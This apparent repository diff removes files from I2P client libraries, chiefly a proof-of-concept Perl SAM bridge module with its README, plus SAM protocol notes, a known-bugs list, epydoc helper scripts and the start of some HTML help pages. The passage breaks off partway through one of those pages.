RESULT values
----------------------------------------------------------------------
These are the values that can be carried by the RESULT field, with
their meaning:
OK Operation completed succesfully
CANT_REACH_PEER The peer exists, but cannot be reached
DUPLICATED_DEST The specified Destination is already in use
I2P_ERROR A generic I2P error (e.g. I2CP disconnection, etc.)
INVALID_KEY The specified key is not valid (bad format, etc.)
KEY_NOT_FOUND The naming system can't resolve the given name
PEER_NOT_FOUND The peer cannot be found on the network
TIMEOUT Timeout while waiting for an event (e.g. peer answer)
----------------------------------------------------------------------
Tunnel Pool Options
----------------------------------------------------------------------
These options can be passed in as name=value pairs at the end of a
SAM SESSION CREATE line.
inbound.nickname - Name shows up in I2P router console.
inbound.quantity - Number of tunnels, default 2.
inbound.backupQuantity - Number of backup tunnels, default 0.
inbound.rebuildPeriod - Obsolete - ignored - the router controls rebuilding
inbound.duration - Tunnels last X ms, default 10*60*1000.
(change not recommended, will break anonymmity
if it works at all)
inbound.length - Depth of tunnels, default 2.
inbound.lengthVariance - If negative, randomly skews from
(length - variance) to
(length + variance). If positive, from
length to (length + var), inclusive.
Default -1.
inbound.allowZeroHop - Zero hop allowed? Default "true".
outbound.* - Same properties as inbound.
i2p.streaming.connectDelay - If 0, connect ASAP. If positive, wait
until X ms have passed or output stream
is flushed or buffer fills. Default 0.
i2p.streaming.maxWindowSize - Max window size, default 64.
----------------------------------------------------------------------
Client library implementations:
----------------------------------------------------------------------
C/C++: libSAM: http://www.innographx.com/mpc/libsam/ or i2p/sam/c/
Python: Python/I2P: http://dev.i2p.net/contrib/apps/sam/python/index.html
Others: See apps/sam/ in I2P CVS.
See:
http://i2p-projekt.i2p/en/docs/api/samv3
https://geti2p.net/en/docs/api/samv3

View File

@ -1,108 +0,0 @@
# BASIC Perl SAM Module
# created 2005 by postman (postman@i2pmail.org)
1. What does it do?
The SAM module is a little Perl add-on that - on one side -
establishes communication with a I2P router's (http://www.i2p.net) SAM bridge
(Simple anonymous messaging ( http://www.i2p.net/sam)). On the
other side it exposes a simple socket like interface to the user.
Over this interface the user can send or receive datastreams from I2P
destinations as if he would communicate with a normal IP socket.
The SAM module can be integrated into perl scripts that
want to communicate with I2P services.
2. Is this code usable?
This perl module should be considered as proof-of-concept
quality. It did surely work for me and my test setups, but
it might not work at all on your system. If you run into problems
you can contact me.
3. Does ist support DATAGRAM and RAW sessions?
No, at the moment the module only supports STREAM sessions.
Support for other session types might be added in the future.
4. How to install it?
Create a Subfolder called I2P in your Perl Installation's Net Module
folder (i.e. /usr/lib/perl5/5.8.4./Net/I2P ) and copy the module there.
You can now use it with use Net::I2P::SAM.
The module only depends on Net::IO::Socket for operations. This
should be already installed.
5. How to debug?
You can switch on debugging with the constructor ( see below ).
6. How to use it?
$sam = new Net::I2P::SAM('127.0.0.1','7656',1);
# you can omit host/port - then the defult is assumed
# the 3rd argument is the debugging switch. If you switched it on
# there'll be a default debug in /tmp/sam-debug
# $sam will now either contain a object reference or 0
# if it's 0 then we coudl not talk to the SAM bridge at all ( connect failed)
# or we could not agree to a version
# next we can tune the tunnel settings we want for this session:
# The syntax is just like the one used on www.i2p.net/sam
$sam->change_settings("inbound.length=1,inbound.lenghVariance=0,outbound.length=1,outbound.lengthVariance=0,inbound.nickname=fun,outbound.nickname=fun");
# next we open a new session.
# only stream is supported
# most of the time we use a transient destination
# otherwise state the hosts.txt name you want to use as in your session
# direction is most of the times both :)
# this cab return 1 for success or 0 for failure
$sam->create_session("STREAM","TRANSIENT","BOTH");
# now connect to our service
$sam->connect($sam->lookup("myservice.i2p"));
# or
$sam->connect("I2PDESTINATIONKEY.....AAAA");
# if this returns 1 - we got a stream session and can now receive and send data
# otherwise consult the debug.
# Send data is just like the the raw perl send
# we send the data as scalar var and optional flags (most of the times 0)
$sam->send($data,0);
# receiving data is similar to the perl recv
# we define the mac number of bytes and optional flags
$indata = $sam->receive(512,0);
# close the session
$sam->close();
# that's the most important things to know.

View File

@ -1,922 +0,0 @@
# Perl Basic SAM module
# created 2005 by postman (postman@i2pmail.org)
# This code is under GPL.
# This code is proof of concept
package Net::I2P::SAM;
require 5.001;
use strict;
use POSIX;
# we do not extend the IO::Socket:INET Package
# we just use it, so we keep our stuff sorted
# This is a testsetup - the next release but
# be an extension of IO::Socket::INET;
use IO::Socket::INET;
use vars qw($VERSION @ISA @EXPORT);
sub new {
my ($this,$host,$port,$debug) = @_;
my $classname=ref($this) || $this;
my $self = {};
bless($self,$classname);
#%{$self->{conf}} = The hash where we store tunnel / SAM Settings
#$self->{debug} = Whether we should output debugging lines ( this is very helpful when having problems)
#$self->{debugfile} = Where to log
#%{$self->{samreply}} = This hash stores the key=VALUE pairs of sam reply
#$self->{sock} = The INET Socket over which we talk to the SAM bridge
#$self->{inbuffer} = a simple layouted inbuffer
#$self->{outbuffer} = a simple layouted outbuffer
# ( the buffers are for dealing with differences between user wanted in/outputsizes
# and what we're able to deliver on a machine side)
#$self->{sessiontype} = unused ( will be used when we support different sessiontypes )
#$self->{lookupresult}= contains the result of a SAM host/userhost naming lookup;
#$self->{samerror} = The human readable SAM error message ( if wanted )
#$self->{streamid} = The virtual streamid. It will be created upon connect;
#$self->{bytestoread} = contains the reported size of a packet from sam
#$self->{bytestosend} = contains the wanted size of a packet to sam
#$self->{hasbanner} = is set to 1 when we receive a greeting string upon connect
#
%{$self->{conf}}=();
if($debug==1) {
$self->{debug}=1;
}
$self->{debugfile}="/tmp/sam-debug";
$self->{debughandle}=undef;
%{$self->{samreply}}=undef;
$self->{sock}=undef;
$self->{inbuffer}=undef;
$self->{outbuffer}=undef;
$self->{sessiontype}=undef;
$self->{lookupresult}=undef;
$self->{samerror}=undef;
$self->{streamid}=undef;
$self->{bytestoread}=undef;
$self->{bytestosend}=undef;
$self->{hasbanner}=1;
# state == -1 (no socket exists)
# state == 0 (socket exists, but we're not helloed)
# state == 1 (socket exists, and we're helloed)
# state == 200 ( we bound a session)
# state == 250 ( we have a virtual stream)
$self->{state}=-1;
# if the user has specified a host/port for contacting the SAM
# Bridge, we'll override the defaults. Otherwise we just use
# defaults.
#
if($host) {
${$self->{conf}}{host}=$host;
} else {
${$self->{conf}}{host}="127.0.0.1";
}
if($port) {
${$self->{conf}}{port}=$port;
} else {
${$self->{conf}}{port}=7656;
}
# defaults for the tunnelparameters
# see www.i2p.net/sam
${$self->{conf}}{iblength}=2;
${$self->{conf}}{oblength}=2;
${$self->{conf}}{ibquant}=2;
${$self->{conf}}{obquant}=2;
${$self->{conf}}{ibbackup}=0;
${$self->{conf}}{obbackup}=0;
${$self->{conf}}{ibvariance}=0;
${$self->{conf}}{obvariance}=0;
${$self->{conf}}{iballowzero}="true";
${$self->{conf}}{oballowzero}="true";
${$self->{conf}}{ibduration}=600000;
${$self->{conf}}{obduration}=600000;
${$self->{conf}}{ibnickname}="SAM-Perl-Destination";
${$self->{conf}}{obnickname}="SAM-Perl-Destination";
# ok, let's open a simple debug file
# if the user wants us
if($self->{debug} == 1) {
if ( ! open (LOGFILE,">" .$self->{debugfile})) {
print "constructor: Cannot open debugging file, switching debugging off.";
$self->{debug}=0;
}
# switch off the nerveracking buffer for the debugfile
select((select(LOGFILE), $| = 1)[0]);
}
# ok now, lets move to the manager
# he manages connecting and hello
# if the proc_mgr returns 1 the user will get our
# object reference. if not, he'll just get a 0.
if($self->proc_mgr()) {
return $self;
} else {
return 0;
}
}
sub proc_mgr {
my ($self) = @_;
my $return=undef;
if ($self->{state} == -1) {
$self->log("Debug: SAM::proc_mgr(): Opening Socket Connection to ".${$self->{conf}}{host}.":".${$self->{conf}}{port});
$return=$self->sam_connect();
if($return==0) {
return 0;
}
if($return == 1) {
$self->log("Debug: SAM::proc_mgr(): State Transition -1 => 0");
$self->{state}=0;
}
}
if($self->{state}==0) {
if(!$self->hello()) {
$self->log("Debug: SAM::proc_mgr(): Closing Socket");
$self->{sock}->close();
$self->log("State SAM::proc_mgr(): Transition 0 => -1");
return 0;
}
}
return 1;
}
sub change_settings {
my ($self,$list)=@_;
my (@tochange,$id,$v,$k);
# we cannot change the settings if we have a session already
# so our state must be 1
if($self->{state} >1) {
$self->log("Debug: SAM::change_settings(): Cannot change tunnel settings after establishing a session.");
return 0;
}
@tochange=split(",",$list);
foreach $id (@tochange) {
($k,$v)=split("=",$id);
lc($v);
lc($k);
$self->log("Debug: SAM::change_settings(): Parsed Setting: Key: $k - Value: $v");
if($k eq "inbound.length" || $k eq "outbound.length") {
# make v an int
$v*1;
if ($v >3 || $v < 0) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
return 0;
}
if(${$self->{conf}}{iballowzero} eq "false" && $k eq "inbound.length" && $v==0) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
return 0;
}
if(${$self->{conf}}{oballowzero} eq "false" && $k eq "outbound.length" && $v==0) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
return 0;
}
if($k eq "inbound.length") {
${$self->{conf}}{iblength}=$v;
}
if($k eq "outbound.length") {
${$self->{conf}}{oblength}=$v;
}
}
if($k eq "inbound.quantity" || $k eq "outbound.quantity") {
$v*1;
if($v < 0 || $v >3 ) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
return 0;
}
if ($k eq "inbound.quantity") {
${$self->{conf}}{ibquant}=$v;
}
if($k eq "outbound.quantity") {
${$self->{conf}}{obquant}=$v;
}
}
if($k eq "inbound.backupquantity" || $k eq "outbound.backupquantity") {
$v*1;
if($v < 0 || $v >2 ) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
return 0;
}
if ($k eq "inbound.backupquantity") {
${$self->{conf}}{ibbackup}=$v;
}
if($k eq "outbound.backupquantity") {
${$self->{conf}}{obbackup}=$v;
}
}
if($k eq "inbound.lengthvariance" || $k eq "outbound.lengthvariance") {
$v*1;
if($v < -2 || $v >2 ) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
return 0;
}
if ($k eq "inbound.lengthvariance") {
${$self->{conf}}{ibvariance}=$v;
}
if($k eq "outbound.lengthvariance") {
${$self->{conf}}{ibvariance}=$v;
}
}
if($k eq "inbound.duration" || $k eq "outbound.duration") {
$v*1;
if($v < 300000 || $v >1200000 ) {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (out of range)");
return 0;
}
if ($k eq "inbound.duration") {
${$self->{conf}}{ibduration}=$v;
}
if($k eq "outbound.duration") {
${$self->{conf}}{obduration}=$v;
}
}
if($k eq "inbound.nickname" || $k eq "outbound.nickname") {
$v=substr($v,0,20);
if ($k eq "inbound.nickname") {
${$self->{conf}}{ibnickname}=$v;
}
if($k eq "outbound.nickname") {
${$self->{conf}}{obnickname}=$v;
}
}
if($k eq "inbound.allowzerohop" || $k eq "outbound.allowzerohop") {
if($v ne "true" && $v ne "false") {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (must be boolean)");
return 0;
}
if(${$self->{conf}}{iblength} ==0 && $k eq "inbound.allowzerohop" && $v eq "false") {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
return 0;
}
if(${$self->{conf}}{oblength} == 0 && $k eq "outbound.allowzerohop" && $v eq "false") {
$self->log("Error: SAM::change_settings(): Wrong value $v is not valid for $k (length forbidden by allowzero=false)");
return 0;
}
if ($k eq "inbound.allowzerohop") {
${$self->{conf}}{iballowzero}=$v;
}
if($k eq "outbound.allowzerohop") {
${$self->{conf}}{oballowzero}=$v;
}
}
$self->log("Debug: SAM::change_settings(): Setting $k to $v");
}
return 1;
}
sub hello {
my ($self) = @_;
my $greeting="HELLO VERSION MIN=1.0 MAX=1.0\n";
my $return=undef;
my $return2=undef;
$self->{outbuffer} .= $greeting;
$return=$self->raw_send();
if($return == 1) {
if($self->raw_read()) {
if($self->parse_sam("HELLO")) {
$self->{state}=1;
$self->log("Debug: SAM::hello(): State Transition 0 => 1");
delete $self->{inbuffer};
delete $self->{outbuffer};
return 1;
}
} else {
$self->log("Error: SAM::hello(): HELLO Failed. Cannot read HELLO response");
return 0;
}
}
if($return == 0) {
$self->log("Error: SAM::hello(): HELLO Failed. Cannot send HELLO String");
return 0;
}
}
sub create_session {
my ($self,$type,$destination,$direction) = @_;
my $line="SESSION CREATE ";
my $return;
uc($type);
# WE ARE ONLY DOING STREAMS ATM
if ($type ne "STREAM") {
$self->log("Error: SAM::create_session(): SESSION failed. Only session of STREAM type are allowed");
return 0;
}
if(length($destination)==0) {
$self->log("Warn: SAM::create_session(): SESSION: fallback setting on destination to TRANSIENT.");
$destination="TRANSIENT";
}
$line.="STYLE=$type DESTINATION=$destination";
uc($direction);
if($direction ne "BOTH" && $direction ne "CREATE" && $direction ne "RECEIVE") {
$self->log("Warn: SAM::create_session(): SESSION: fallback setting on direction to BOTH.");
$direction="BOTH";
}
$line .= " DIRECTION=$direction";
$line .= " inbound.length=".${$self->{conf}}{iblength}." outbound.length=".${$self->{conf}}{oblength};
$line .= " inbound.quantity=".${$self->{conf}}{ibquant}." outbound.quantity=".${$self->{conf}}{obquant};
$line .= " inbound.backupQuantity=".${$self->{conf}}{ibbackup}." outbound.backupQuantity=".${$self->{conf}}{obbackup};
$line .= " inbound.lengthVariance=".${$self->{conf}}{ibvariance}." outbound.lengthVariance=".${$self->{conf}}{obvariance};
$line .= " inbound.duration=".${$self->{conf}}{ibduration}." outbound.duration=".${$self->{conf}}{obduration};
$line .= " inbound.nickname=".${$self->{conf}}{ibnickname}." outbound.nickname=".${$self->{conf}}{obnickname};
$line .= " inbound.allowZeroHop=".${$self->{conf}}{iballowzero}." outbound.allowZeroHop=".${$self->{conf}}{oballowzero};
$line .="\n";
$self->{outbuffer}.=$line;
$return=$self->raw_send();
if($return == 1) {
if($self->raw_read()) {
if($self->parse_sam("SESSION ")) {
$self->{state}=200;
$self->log("Debug: SAM::create_session(): State Transition 1 => 200");
# flush the whole inbuffer;
delete $self->{inbuffer};
delete $self->{outbuffer};
return 1;
}
} else {
$self->log("Error: SAM::create_session(): SESSION Failed. Cannot read SAM Response");
return 0;
}
}
if($return == 0) {
$self->log("Error: SAM::create_session(): SESSION Failed. Cannot send SESSION String");
return 0;
}
}
sub parse_sam {
# this is the main function that parses all SAM replies
# depending on wanted action and state we'll set different
# properties like $self->{bytestoread} etc.
# parse_sam does not CUT OUT SAM messages from the payloads
# (look at $self->recv for that)
#
my ($self,$state) = @_;
my (@data,$id,$k,$v);
%{$self->{samreply}}=();
uc($state);
if( $self->{inbuffer} =~ /^(.[^ ]*) (.[^ ]*) (.*)$/m ) {
${$self->{samreply}}{COMMAND}=$1;
${$self->{samreply}}{REPLY}=$2;
@data=split(" ",$3);
foreach $id (@data) {
($k,$v)=split("=",$id);
#print "k: $k - v: $v\n";
${$self->{samreply}}{$k}=$v;
}
} else {
$self->log("Error: SAM::parse_sam(): Could not parse the SAM Reply. Has the specs changed?");
return 0;
}
if($state eq "HELLO") {
if (${$self->{samreply}}{COMMAND} ne "HELLO") {
$self->log("Error: SAM::parse_sam(): We're in state HELLO but got no proper response from SAM");
return 0;
}
if(${$self->{samreply}}{REPLY} eq "REPLY") {
if(${$self->{samreply}}{RESULT} eq "OK") {
$self->log("Debug: SAM::parse_sam(): Got a OK result for HELLO");
return 1;
} else {
$self->log("Error :SAM::parse_sam(): Got no OK Result for HELLO");
return 0;
}
} else {
$self->log("Error: SAM::parse_sam(): Unknown Reply type for HELLO dialogue");
return 0;
}
}
if($state eq "SESSION") {
if (${$self->{samreply}}{COMMAND} ne "SESSION") {
$self->log("Error: SAM::parse_sam(): We're in state SESSION but got no proper response from SAM");
return 0;
}
if(${$self->{samreply}}{REPLY} eq "STATUS") {
if(${$self->{samreply}}{RESULT} eq "OK") {
$self->log("Debug: SAM::parse_sam(): Got a OK result for SESSION");
return 1;
} else {
$self->log("Error: SAM::parse_sam(): Got no OK Result for SESSION: ".${$self->{samreply}}{RESULT});
return 0;
}
} else {
$self->log("Error: SAM::parse_sam(): Unknown Reply type for SESSION dialogue");
return 0;
}
}
if($state eq "NAMING") {
if (${$self->{samreply}}{COMMAND} ne "NAMING") {
$self->log("Error: SAM::parse_sam(): We're in state NAMING but got no proper response from SAM");
return 0;
}
if(${$self->{samreply}}{REPLY} eq "REPLY") {
if(${$self->{samreply}}{RESULT} eq "OK") {
$self->log("Debug: SAM::parse_sam(): Got a OK result for NAMING");
$self->{lookupresult}=${$self->{samreply}}{VALUE};
return 1;
} else {
$self->log("Error: SAM::parse_sam(): Got no OK Result for NAMING: ".${$self->{samreply}}{RESULT});
return 0;
}
} else {
$self->log("Error: SAM::parse_sam(): Unknown Reply type for NAMING dialogue");
return 0;
}
}
if($state eq "STREAM") {
if (${$self->{samreply}}{COMMAND} ne "STREAM") {
$self->log("Error: SAM::parse_sam(): We're in state STREAM but got no proper response from SAM");
return 0;
}
# CREATING STREAMS
if(${$self->{samreply}}{REPLY} eq "STATUS") {
if(${$self->{samreply}}{RESULT} eq "OK") {
$self->log("Debug: SAM::parse_sam(): STREAM STATUS OK - Next action is awaited");
return 1;
} else {
$self->log("Error: SAM::parse_sam(): STREAM STATUS NOT OK.: ".${$self->{samreply}}{RESULT});
if(length(${$self->{samreply}}{MESSAGE}) == 0) {
$self->{samerror}=${$self->{samreply}}{RESULT};
} else {
$self->{samerror}=${$self->{samreply}}{MESSAGE};
}
return 0;
}
}
# SEND/RECEIVING STREAMS
# this can happen directly after a connect
if(${$self->{samreply}}{REPLY} eq "RECEIVED") {
if(${$self->{samreply}}{SIZE} > 0) {
$self->log("Debug: SAM::parse_sam(): SAM notify: RECEIVED Data. SIZE=".${$self->{samreply}}{SIZE});
$self->{bytestoread}=${$self->{samreply}}{SIZE};
return 1;
} else {
$self->log("Error: SAM::parse_sam(): Received empty payload");
return 0;
}
}
# STREAMS are closed - bad thing
# this can happen directly after a connect
if(${$self->{samreply}}{REPLY} eq "CLOSED") {
$self->log("Error: SAM::parse_sam(): Stream is closed: We need to interupt the session");
return 0;
}
}
}
sub raw_send {
# this function sends a crafted SAM request + payload to the
# SAM socket
my ($self) = @_;
my $return;
$self->log("Debug: SAM::raw_send(): >>> ".$self->{outbuffer});
$return = $self->{sock}->send($self->{outbuffer},0);
if(! defined($return)) {
$self->log("Error: SAM::raw_send(): Cannot send to Socket");
$self->close();
return 0;
}
if ( $return == length($self->{outbuffer}) || $!{EWOULDBLOCK} ) {
substr($self->{outbuffer},0, $return) = '';
delete $self->{outbuffer} unless length($self->{outbuffer});
return 1;
} else {
$self->log("Error :SAM::raw_send(): Could send, but length does not match. Closing");
$self->close();
return 0;
}
}
sub raw_read {
my ($self,$size) = @_;
my $input;
my $data;
# this reads SAM replies from the SAM socket and fills the
# inbuffer
if(!$size || $size > POSIX::BUFSIZ) {
$size=POSIX::BUFSIZ;
}
$input = $self->{sock}->recv($data, $size, 0);
if(defined($input) && length($data) >= 1) {
$self->log("Debug: SAM::raw_read(): <<< $data");
if(length($self->{inbuffer}) == 0 ) {
$self->{inbuffer} = $data;
} else {
$self->{inbuffer} .= $data;
}
return 1;
} else {
if ( $!{EAGAIN} ) {
$self->{bytestoread}=0;
return 1;
} else {
return 0;
}
}
}
sub sam_connect {
# bsic connect to the sam bridge socket itself
my ($self)=@_;
my $return=undef;
$return=$self->{sock}=IO::Socket::INET->new(${$self->{conf}}{host}.":".${$self->{conf}}{port});
if($return==0) {
$self->log("Debug: SAM::sam_connect(): Connection failed to ".${$self->{conf}}{host}.":".${$self->{conf}}{port});
return 0;
} else {
$self->log("Debug: SAM::sam_connect(): Connection established to ".${$self->{conf}}{host}.":".${$self->{conf}}{port});
return 1;
}
}
sub send {
# the public fumction to send data to sam
# the user gives his payload and we create
# valid SAM requests + payload from it ( as much as needed)
my ($self,$content,$flags)=@_;
my $return;
my $maxsize=(POSIX::BUFSIZ-100);
if($self->{state}!=250) {
$self->log("Error: SAM::send(): wrong state for send command: Needed:250 Recent:".$self->{state});
return 0;
}
# ok, what can happen?
# it could be that $content is far bigger than
# POSIX::BUFSIZ; so we need to do a little loop
# apart from that sending is in our hand
if(length($content) > $maxsize) {
$self->{outbuffer}.="STREAM SEND ID=".$self->{streamid}." SIZE=$maxsize\n".substr($content,0,$maxsize);
$content=substr($content,$maxsize,length($content));
} else {
$self->{outbuffer}.="STREAM SEND ID=".$self->{streamid}." SIZE=".length($content)."\n".$content;
}
if( $self->raw_send()) {
return 1;
} else {
$self->log("Error: SAM::send(): Could not send. Closing Link");
}
}
sub recv {
my($self,$varname,$size,$flags)=@_;
my $return;
my $tunebuffer;
my $counter;
my $chunk;
# main recv wrapper. We need to invest a few thoughts
# for this. To the user it will be like a $socket->recv
# (hopefully)
# at first some sanity checks
if(!$flags) {
$flags=0;
}
$self->{bytestoread}=0;
# size must not exceed The posix limit;
if(!$size || $size > POSIX::BUFSIZ) {
$self->log("Warn: SAM::recv(): Setting buffersize to POSIX::BUFSIZ");
$size=POSIX::BUFSIZ;
}
# nobody should call is prior to state 250
if($self->{state}!=250) {
$self->log("Error: SAM::recv(): wrong state for rcv command: Needed:250 Recent:".$self->{state});
return 0;
}
# we have a greeting banner left from connect
# flush it to the user. This can happen on several services
# like smtp/pop3/nntp but not on HTTP and other stuff
if($self->{hasbanner}) {
#print "D: ".$self->{inbuffer};
if(length($self->{inbuffer}) >0 ) {
$chunk=substr($self->{inbuffer},0, $size);
$self->{hasbanner}=0;
substr($self->{inbuffer},0, $size)='';
return $chunk;
} else {
$self->log("Error: SAM::recv(): Should have a banner but i have empty inbuffer?");
return 0;
}
# should never reach here
return 1;
}
# when there's something in the inbuffer left
# flush it to the user. If the amount of data is bigger than
# the userspecified limit, only transfer $size Bytes to the
# client
if(length($self->{inbuffer}) > 0) {
$chunk=substr($self->{inbuffer},0, $size);
substr($self->{inbuffer},0, $size)='';
return $chunk;
}
# OK, we got noting in the inbuffer
# we'll fetch a new chunk of data and then add the data to the inbuffer
# if bytestoread is bigger than POSIX::BUFSIZ we'll internally use
# a loop of reads and fill the buffer til bytestoread is 0
if(length($self->{inbuffer}) == 0) {
# read the first packet
if($self->raw_read()) {
if($self->parse_sam("STREAM") && ${$self->{samreply}}{REPLY} eq "RECEIVED") {
# it's possible that the packet does not contain any payload at all!!
# if this is the case we need
if($self->{inbuffer}=~/^.*$/) {
$self->log("Warn: SAM::recv(): Got only only one line from SAM - but i expected some payload too. Calling raw_read again ");
$self->raw_read();
}
# ok, cut the SAM HEADER from the payload
$self->{inbuffer}=substr($self->{inbuffer},(length($self->{inbuffer})-$self->{bytestoread}), length($self->{inbuffer}));
$self->log("Debug: SAM::recv(): Recived a Stream Packet and cut the SAM header out");
# ok, check if bytestoread is still bigger than our buffersize
# this means we can load more. Dangerous loop but well...
while(length($self->{inbuffer}) < $self->{bytestoread}) {
# this should definitely end some day
$counter++;
if($counter > 10000) {
$self->log("Error: SAM::recv(): WTF, could not fill inbuffer as predicted by SAM header");
last;
}
# read as long til we have read all of the payload provided by SAM
$self->log("Debug: SAM::recv(): Load another chunk. Buffersize:".length($self->{inbuffer})." / Bytestoread:".$self->{bytestoread} );
$self->raw_read();
}
} else {
$self->log("Error: SAM::recv(): parse_sam() did not succeed. Interupting");
delete $self->{inbuffer};
return 0;
}
} else {
$self->log("Error: SAM::recv(): Could not read from the socket");
delete $self->{inbuffer};
return 0;
}
$chunk=substr($self->{inbuffer},0, $size);
substr($self->{inbuffer},0, $size)='';
return $chunk;
}
return 1;
}
sub lookup {
my($self,$name)=@_;
my $return;
$self->{outbuffer}="NAMING LOOKUP NAME=$name\n";
$return=$self->raw_send();
if($return == 1) {
if($self->raw_read()) {
if($self->parse_sam("NAMING")) {
$self->log("Debug: SAM::lookup(): Naming Lookup successful");
delete $self->{inbuffer};
delete $self->{outbuffer};
return $self->{lookupresult};
}
} else {
$self->log("Error :SAM::lookup(): NAMING Failed. Cannot read SAM Response");
return 0;
}
}
if($return == 0) {
$self->log("Error :SAM::lookup(): NAMING Failed. Cannot send NAMING String");
return 0;
}
}
sub sam_close {
my ($self) =@_;
$self->log("Debug: SAM::sam_close(): Closing Socket to SAM");
$self->{sock}->close();
return 1;
}
sub close {
my ($self)=@_;
my $return;
$self->{outbuffer}.="STREAM CLOSE ID=".$self->{streamid}."\n";
$self->log("Debug: SAM::close(): CLosing Stream with id: ".$self->{streamid});
$return=$self->raw_send();
# well, we do not care wether this worked or not
$self->sam_close();
return 1;
}
sub connect {
my ($self,$destination)=@_;
my $return;
$self->{streamid}= int(rand(200000000));
if(length($destination) == 0) {
$self->log("Error: SAM::connect(): need I2P destination to connect to with the SAM Bridge");
return 0;
}
$self->{outbuffer}.="STREAM CONNECT ID=".$self->{streamid}." DESTINATION=$destination\n";
$return=$self->raw_send();
if($return == 1) {
if($self->raw_read()) {
if($self->parse_sam("STREAM")) {
if(${$self->{samreply}}{REPLY} eq "STATUS") {
$self->{state}=250;
$self->log("Debug: SAM::connect(): State Transition 200 => 250");
# flush the whole inbuffer;
delete $self->{inbuffer};
delete $self->{outbuffer};
return 1;
}
if(${$self->{samreply}}{REPLY} eq "RECEIVED") {
$self->{state}=250;
$self->log("Debug: SAM::connect(): State Transition 200 => 250. Got a banner");
delete $self->{inbuffer};
#print "D: toread:".$self->{bytestoread};
#print "D: buffer:".$self->{inbuffer}."\n";
#print "D: buffersize:".length($self->{inbuffer})."\n";
$self->raw_read();
#print "D: toread:".$self->{bytestoread};
#print "D: buffer:".$self->{inbuffer}."\n";
#print "D: buffersize:".length($self->{inbuffer})."\n";
$self->{inbuffer}=substr($self->{inbuffer}, 0, $self->{bytestoread});
$self->{hasbanner}=1;
#print "D: toread:".$self->{bytestoread};
#print "D: buffer:".$self->{inbuffer}."\n";
#print "D: buffersize:".length($self->{inbuffer})."\n";
return 1;
}
}
} else {
$self->log("Error: SAM::connect(): STREAM Failed. Cannot read SAM Response");
return 0;
}
}
if($return == 0) {
$self->log("Error: SAM::connect(): STREAM Failed. Cannot send SESSION String");
return 0;
}
}
sub log {
my($self,$line)=@_;
if($line=~/.*\n$/) {
chomp $line;
}
if ( $self->{debug} ) {
print LOGFILE "$line\n";
}
return 1;
}

View File

@ -1,16 +0,0 @@
Known Bugs:
* tunnel.TunnelServer may crash the I2P router when a 20+ MB file
is downloaded at 200+ KB/s (only possible with local downloads).
* Errors raised for sockets are non entirely consistent.
See todo.txt for how to fix this.
* A session does not close until a program exits.
This should be fine once I2P is patched to allow multiple
programs to use a single session at once.
* i2p.router.start() does not work.
Fixed Bugs:
* Large downloads are no longer corrupted (fixed by jrandom in I2P
core).
* Datagram packets are no longer lost, for a local server and
client (fixed by jrandom in I2P core).

View File

@ -1,18 +0,0 @@
#!/usr/local/bin/python
#
# Call the command line interface for Epydoc.
#
# We have to do some path magic to prevent Python from getting
# confused about the difference between this epydoc module, and the
# real epydoc package. So sys.path[0], which contains the directory
# of the script.
import sys, os.path
script_path = os.path.abspath(sys.path[0])
sys.path = [p for p in sys.path if
os.path.abspath(p) != script_path]
from epydoc.cli import cli
cli()

View File

@ -1,35 +0,0 @@
#! /usr/bin/env python
"""
Make epydoc HTML documentation in the 'html' subdirectory.
"""
import epydoc as epydoc_
import inspect
import os, sys
def epydoc(args):
"""Run epydoc (command line) with given argument string."""
os.system('python calldoc.py ' + args)
def makedoc():
"""Make all epydoc HTML documentation for Python I2P library."""
modlist = [
'i2p',
'i2p.eep',
'i2p.tunnel',
'i2p.router',
'i2p.socket',
'i2p.select',
'i2p.samclasses',
'i2p.CGIHTTPServer',
'i2p.SimpleHTTPServer',
'i2p.BaseHTTPServer',
'i2p.SocketServer',
'i2p.pylib'
]
modlist.reverse()
epydoc('--html ' + ' '.join(modlist))
if __name__ == '__main__':
makedoc()

View File

@ -1,31 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>Eeproxy - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>Eeproxy</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
The <strong>Eeproxy</strong> is run by the I2P router. The proxy is normally used for web browsers, as a means of accessing eepsites.
<p>
The eeproxy is usually available at <a href="http://127.0.0.1:4444/" class='printable' title="http://127.0.0.1:4444/">http://127.0.0.1:4444/</a>.
<p>
</div>
<p><em>
</em><!-- Time since request: 0.77 secs. -->
</body></html>

View File

@ -1,91 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.BaseHTTPServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.BaseHTTPServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Emulates Python BaseHTTPServer module using I2P sockets.
<p>
<h2><a name="Overview"> Overview </a></h2>
<p>
